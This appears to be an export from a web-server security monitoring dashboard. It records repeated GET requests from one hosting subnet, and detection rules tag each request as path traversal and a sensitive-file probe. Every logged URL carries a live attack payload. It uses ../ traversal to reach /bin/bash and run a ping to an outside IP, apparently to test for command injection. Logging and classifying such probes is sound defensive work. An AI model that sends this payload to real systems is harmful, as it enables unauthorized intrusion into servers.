/?UrkCEO/edit&theme=margot&squelette=../../../../../../../..//bin/bash%20-c%20%27ping%20-c%201%2031.15.17.163%27&style=margot.css
referer
-
UA
Mozilla/5.0
Annotation facts
label
sensitive_file
rule
sfp:traversal
conf
86.00
details
Traversal sequences were present (raw or encoded). Snippet='/?UrkCEO/edit&theme=margot&squelette=../../../../../../../..//bin/bash%20-c%20%27ping%20-c%201%2031.'
More (full fields + snapshot) expand
url
/?UrkCEO/edit&theme=margot&squelette=../../../../../../../..//bin/bash%20-c%20%27ping%20-c%201%2031.15.17.163%27&style=margot.css
referer
-
UA
Mozilla/5.0
summary
Directory traversal indicator
details
Traversal sequences were present (raw or encoded). Snippet='/?UrkCEO/edit&theme=margot&squelette=../../../../../../../..//bin/bash%20-c%20%27ping%20-c%201%2031.'
subnet
87.121.84.0/24
asn
215925 — VPSVAULT.HOST LTD
geo
United States, Texas, San Antonio
org
VPSVAULT.HOST LTD
#32 2025-04-10 21:53:48 event 5315828 GET 301 bytes 169
ann trav 26 label trav
Request Path traversal / LFI indicator detected
/?UrkCEO/edit&theme=margot&squelette=../../../../../../../..//bin/bash%20-c%20%27ping%20-c%201%2031.15.17.163%27&style=margot.css
referer
-
UA
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.140 Safari/537.36
Annotation facts
label
trav
rule
trav:mixed_separators
conf
90.00
details
Detected explicit traversal/LFI mechanics (dotdot segments, encoded traversal, local file / stream wrappers, or sensitive file targets). This annotator intentionally does not fire on mere URL depth or on traversal-ish parameter names without mechanics.
More (full fields + snapshot) expand
url
/?UrkCEO/edit&theme=margot&squelette=../../../../../../../..//bin/bash%20-c%20%27ping%20-c%201%2031.15.17.163%27&style=margot.css
referer
-
UA
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.140 Safari/537.36
summary
Path traversal / LFI indicator detected
details
Detected explicit traversal/LFI mechanics (dotdot segments, encoded traversal, local file / stream wrappers, or sensitive file targets). This annotator intentionally does not fire on mere URL depth or on traversal-ish parameter names without mechanics.
subnet
87.121.84.0/24
asn
215925 — VPSVAULT.HOST LTD
geo
United States, Texas, San Antonio
org
VPSVAULT.HOST LTD
#33 2025-04-10 21:53:48 event 5315828 GET 301 bytes 169
ann trav 28 label trav
Request Path traversal / LFI indicator detected
/?UrkCEO/edit&theme=margot&squelette=../../../../../../../..//bin/bash%20-c%20%27ping%20-c%201%2031.15.17.163%27&style=margot.css
referer
-
UA
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.140 Safari/537.36
Annotation facts
label
trav
rule
trav:dotdot_slash
conf
92.00
details
Detected explicit traversal/LFI mechanics (dotdot segments, encoded traversal, local file / stream wrappers, or sensitive file targets). This annotator intentionally does not fire on mere URL depth or on traversal-ish parameter names without mechanics.
More (full fields + snapshot) expand
url
/?UrkCEO/edit&theme=margot&squelette=../../../../../../../..//bin/bash%20-c%20%27ping%20-c%201%2031.15.17.163%27&style=margot.css
referer
-
UA
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.140 Safari/537.36
summary
Path traversal / LFI indicator detected
details
Detected explicit traversal/LFI mechanics (dotdot segments, encoded traversal, local file / stream wrappers, or sensitive file targets). This annotator intentionally does not fire on mere URL depth or on traversal-ish parameter names without mechanics.
subnet
87.121.84.0/24
asn
215925 — VPSVAULT.HOST LTD
geo
United States, Texas, San Antonio
org
VPSVAULT.HOST LTD
#34 2025-04-10 21:53:48 event 5315828 GET 301 bytes 169
ann base label observed
Request event observed
/?UrkCEO/edit&theme=margot&squelette=../../../../../../../..//bin/bash%20-c%20%27ping%20-c%201%2031.15.17.163%27&style=margot.css
referer
-
UA
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.140 Safari/537.36
Annotation facts
label
observed
rule
base_observed
conf
—
details
—
More (full fields + snapshot) expand
url
/?UrkCEO/edit&theme=margot&squelette=../../../../../../../..//bin/bash%20-c%20%27ping%20-c%201%2031.15.17.163%27&style=margot.css
referer
-
UA
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.140 Safari/537.36
summary
event observed
details
—
subnet
87.121.84.0/24
asn
215925 — VPSVAULT.HOST LTD
geo
United States, Texas, San Antonio
org
VPSVAULT.HOST LTD
#35 2025-04-10 21:53:48 event 5315828 GET 301 bytes 169
ann sfp 34 label sensitive_file
Request Directory traversal indicator
/?UrkCEO/edit&theme=margot&squelette=../../../../../../../..//bin/bash%20-c%20%27ping%20-c%201%2031.15.17.163%27&style=margot.css
referer
-
UA
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.140 Safari/537.36
Annotation facts
label
sensitive_file
rule
sfp:traversal
conf
86.00
details
Traversal sequences were present (raw or encoded). Snippet='/?UrkCEO/edit&theme=margot&squelette=../../../../../../../..//bin/bash%20-c%20%27ping%20-c%201%2031.'
More (full fields + snapshot) expand
url
/?UrkCEO/edit&theme=margot&squelette=../../../../../../../..//bin/bash%20-c%20%27ping%20-c%201%2031.15.17.163%27&style=margot.css
referer
-
UA
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.140 Safari/537.36
summary
Directory traversal indicator
details
Traversal sequences were present (raw or encoded). Snippet='/?UrkCEO/edit&theme=margot&squelette=../../../../../../../..//bin/bash%20-c%20%27ping%20-c%201%2031.'
subnet
87.121.84.0/24
asn
215925 — VPSVAULT.HOST LTD
geo
United States, Texas, San Antonio
org
VPSVAULT.HOST LTD
#36 2025-04-10 21:53:28 event 5315819 GET 301 bytes 169
ann ua 8 label ua
Request Truncated Mozilla User-Agent token
/?UrkCEO/edit&theme=margot&squelette=../../../../../../../..//bin/bash%20-c%20%27ping%20-c%201%2031.15.17.163%27&style=margot.css
referer
-
UA
Mozilla/5.0
Annotation facts
label
ua
rule
ua:truncated_mozilla
conf
70.00
details
Common placeholder UA used by simplistic clients.
More (full fields + snapshot) expand
url
/?UrkCEO/edit&theme=margot&squelette=../../../../../../../..//bin/bash%20-c%20%27ping%20-c%201%2031.15.17.163%27&style=margot.css
referer
-
UA
Mozilla/5.0
summary
Truncated Mozilla User-Agent token
details
Common placeholder UA used by simplistic clients.
subnet
87.121.84.0/24
asn
215925 — VPSVAULT.HOST LTD
geo
United States, Texas, San Antonio
org
VPSVAULT.HOST LTD
#37 2025-04-10 21:53:28 event 5315819 GET 301 bytes 169
ann trav 26 label trav
Request Path traversal / LFI indicator detected
/?UrkCEO/edit&theme=margot&squelette=../../../../../../../..//bin/bash%20-c%20%27ping%20-c%201%2031.15.17.163%27&style=margot.css
referer
-
UA
Mozilla/5.0
Annotation facts
label
trav
rule
trav:mixed_separators
conf
90.00
details
Detected explicit traversal/LFI mechanics (dotdot segments, encoded traversal, local file / stream wrappers, or sensitive file targets). This annotator intentionally does not fire on mere URL depth or on traversal-ish parameter names without mechanics.
More (full fields + snapshot) expand
url
/?UrkCEO/edit&theme=margot&squelette=../../../../../../../..//bin/bash%20-c%20%27ping%20-c%201%2031.15.17.163%27&style=margot.css
referer
-
UA
Mozilla/5.0
summary
Path traversal / LFI indicator detected
details
Detected explicit traversal/LFI mechanics (dotdot segments, encoded traversal, local file / stream wrappers, or sensitive file targets). This annotator intentionally does not fire on mere URL depth or on traversal-ish parameter names without mechanics.
subnet
87.121.84.0/24
asn
215925 — VPSVAULT.HOST LTD
geo
United States, Texas, San Antonio
org
VPSVAULT.HOST LTD
#38 2025-04-10 21:53:28 event 5315819 GET 301 bytes 169
ann trav 28 label trav
Request Path traversal / LFI indicator detected
/?UrkCEO/edit&theme=margot&squelette=../../../../../../../..//bin/bash%20-c%20%27ping%20-c%201%2031.15.17.163%27&style=margot.css
referer
-
UA
Mozilla/5.0
Annotation facts
label
trav
rule
trav:dotdot_slash
conf
92.00
details
Detected explicit traversal/LFI mechanics (dotdot segments, encoded traversal, local file / stream wrappers, or sensitive file targets). This annotator intentionally does not fire on mere URL depth or on traversal-ish parameter names without mechanics.
More (full fields + snapshot) expand
url
/?UrkCEO/edit&theme=margot&squelette=../../../../../../../..//bin/bash%20-c%20%27ping%20-c%201%2031.15.17.163%27&style=margot.css
referer
-
UA
Mozilla/5.0
summary
Path traversal / LFI indicator detected
details
Detected explicit traversal/LFI mechanics (dotdot segments, encoded traversal, local file / stream wrappers, or sensitive file targets). This annotator intentionally does not fire on mere URL depth or on traversal-ish parameter names without mechanics.
subnet
87.121.84.0/24
asn
215925 — VPSVAULT.HOST LTD
geo
United States, Texas, San Antonio
org
VPSVAULT.HOST LTD
#39 2025-04-10 21:53:28 event 5315819 GET 301 bytes 169
ann base label observed
Request event observed
/?UrkCEO/edit&theme=margot&squelette=../../../../../../../..//bin/bash%20-c%20%27ping%20-c%201%2031.15.17.163%27&style=margot.css
referer
-
UA
Mozilla/5.0
Annotation facts
label
observed
rule
base_observed
conf
—
details
—
More (full fields + snapshot) expand
url
/?UrkCEO/edit&theme=margot&squelette=../../../../../../../..//bin/bash%20-c%20%27ping%20-c%201%2031.15.17.163%27&style=margot.css
referer
-
UA
Mozilla/5.0
summary
event observed
details
—
subnet
87.121.84.0/24
asn
215925 — VPSVAULT.HOST LTD
geo
United States, Texas, San Antonio
org
VPSVAULT.HOST LTD
#40 2025-04-10 21:53:28 event 5315819 GET 301 bytes 169
ann sfp 34 label sensitive_file
Request Directory traversal indicator
/?UrkCEO/edit&theme=margot&squelette=../../../../../../../..//bin/bash%20-c%20%27ping%20-c%201%2031.15.17.163%27&style=margot.css
referer
-
UA
Mozilla/5.0
Annotation facts
label
sensitive_file
rule
sfp:traversal
conf
86.00
details
Traversal sequences were present (raw or encoded). Snippet='/?UrkCEO/edit&theme=margot&squelette=../../../../../../../..//bin/bash%20-c%20%27ping%20-c%201%2031.'
More (full fields + snapshot) expand
url
/?UrkCEO/edit&theme=margot&squelette=../../../../../../../..//bin/bash%20-c%20%27ping%20-c%201%2031.15.17.163%27&style=margot.css
referer
-
UA
Mozilla/5.0
summary
Directory traversal indicator
details
Traversal sequences were present (raw or encoded). Snippet='/?UrkCEO/edit&theme=margot&squelette=../../../../../../../..//bin/bash%20-c%20%27ping%20-c%201%2031.'
subnet
87.121.84.0/24
asn
215925 — VPSVAULT.HOST LTD
geo
United States, Texas, San Antonio
org
VPSVAULT.HOST LTD
Page 1 of 1